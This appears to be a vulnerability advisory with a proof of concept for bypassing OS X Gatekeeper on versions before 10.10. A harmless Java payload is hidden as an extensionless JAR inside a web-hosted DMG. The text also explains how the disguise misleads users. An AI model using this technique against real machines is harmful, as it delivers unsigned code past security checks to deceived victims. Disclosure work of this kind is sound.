OS X < 10.10.x - Gatekeeper bypass Vulnerability

The exploitation technique is trivial and requires Java to be installed on the victim's machine. OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and class (.class) files, but this verification can be bypassed. For example: - Create a JAR file containing the code to be executed For example, File AmpliaTest.java: public class AmpliaTest { public static void main(String[] args) { try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY"); } catch(Exception e) { } } } (This is just an example, of course, arbitrary code can be executed) $ javac AmpliaTest.java Be sure to compile the code for a version of Java lower than or equal to the one available on the target (for example, javac -target 1.6 -source 1.6 AmpliaTest.java; and the compiled code will work on Java versions >= 1.6) . $ echo "main-class: AmpliaTest" > Manifest $ jar cmf Manifest UnsignedCode.jar AmpliaTest.class - Create a .DMG disk image For example: $ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg - Mount AmpliaTest.dmg - Rename UnsignedCode.jar to UnsignedCode (just remove the extension) - Copy UnsignedCode to the AmpliaSecurity volume - Unmount AmpliaTest.dmg - Host the file AmpliaTest.dmg on a web server - Download AmpliaTest.dmg using Safari and open it - Double-Click on 'UnsignedCode' and the code will be executed bypassing OS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY). (Perform the same steps but without removing the .jar extension to UnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file) Because the file 'UnsignedCode' has no extension, Finder will display a blank page icon; the Java/JAR icon will not be displayed. The user does not know he is double-clicking on a JAR file and the file does not look particularly suspicious. Also, since the unsigned code is distributed inside a disk image (.DMG) file, there are many things the attacker can do to gain the trust of the user (include other files, use Finder background images, etc).